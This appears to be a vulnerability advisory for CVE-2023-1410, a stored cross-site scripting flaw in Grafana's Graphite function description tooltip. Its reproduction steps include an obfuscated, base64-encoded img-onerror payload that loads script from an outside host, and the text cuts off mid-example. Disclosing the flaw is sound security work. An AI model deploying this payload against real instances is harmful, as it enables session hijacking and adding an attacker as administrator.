Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip
Date: 2023-03
Affected: go/github.com/grafana/grafana, go/github.com/grafana/grafana, go/github.com/grafana/grafana
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2023-1410
CWE: CWE-79
CVSS: 6.2 (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N)

### Summary When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example. ### Details 1. Spin up your own Graphite instance. I've done this using the `make devenv sources=graphite`. 2. Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py` 3. Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>` The result would look like this: ```python def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """


Mitigations:

Architectural layers (MAESTRO):